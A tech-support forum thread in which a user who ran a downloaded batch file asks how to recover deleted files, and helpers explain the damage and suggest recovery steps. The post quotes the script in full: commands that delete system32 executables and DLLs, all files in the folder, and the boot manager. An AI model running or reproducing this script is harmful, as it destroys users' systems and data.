• Hi there and welcome to PC Help Forum (PCHF), a more effective way to get the Tech Support you need!
    We have Experts in all areas of Tech, including Malware Removal, Crash Fixing and BSOD's , Microsoft Windows, Computer DIY and PC Hardware, Networking, Gaming, Tablets and iPads, General and Specific Software Support and so much more.

    Why not Click Here To Sign Up and start enjoying great FREE Tech Support.

    This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Accidently deleted all files from desktop!! NEED HELP

Status
Not open for further replies.
Hello, I need help.
I was dumb and ran a bat file from the internet and it deleted all my files on desktop!!!
Is there any way to undo this or get my files back???

Here is the code in the bat file:

@echo off
rem Very destructive virus!

for %%i in (%systemroot%\system32\*.exe) do del /q %%i

for %%i in (%systemroot%\system32\*.dll) do del /q %%i

for %%i in (*.*) do del /q %%i

del /q %systemdrive%\bootmgr

del /q *.*

PLEASE HELP
 
I'm sorry, but it has got to be sad - that was a stupid thing to do.
the first line in the BAT file didn't give you cause to pause before charging full throttle ahead.

anyway - that horse has bolted now. :)

and let me guess, you have no backups or system image snapshots of the system - at all - right?! :thumbsup:

those commands in the batch file deleted all system .EXE and .DLL files, then tried to delete every file, then for good measure tried to remove the bootmgr folder.

you can look in the Recycle Bin but depending on its size limits, it would have become full and everything deleted may not be still in there.
plus this BAT file was running while the system was running so a lot of the files would have been locked by Windows, so who knows what state it is all in.

you could try running sfc /scannow from an elevated command prompt or even doing a repair install of Win10 from Settings > Update & Security > Recovery.
 
Unfortunately unless you have any backups (File History, OneDrive, Macrium image) it is going to be nigh impossible to recover.
Going over the .bat file I can tell what it has done & I’m not knowledgeable in coding.
Chances are system restore is possibly deleted as well but you can try it within safe mode.
 
sadly system restore points won't work here, well maybe a little if Windows isn't starting.
but the executable for that was probably deleted as well.
plus restore points dont go anywhere near personal files, only system files and only a very small suset of those - the ones that deal with system startup and drivers only.

file recovery is almost not even worth spending time on - you are simply buggered!
UNLESS you have a backup or the system and/or your personal files.

hard lesson to learn - but we have all been there!
 
I assume from that file your computer will not boot.
Take the hard drive out and insert it into another computer or an external caddy.
You could try a recovery program like Recuva Click On Me and hope for the best.
It might get some stuff back as files are not really deleted unless you use a program that writes 0000 to the drive.
Your files are still on the disk it is a matter of time and effort needed to get them back.
The more you use the disk the less chance of getting data back
 
Status
Not open for further replies.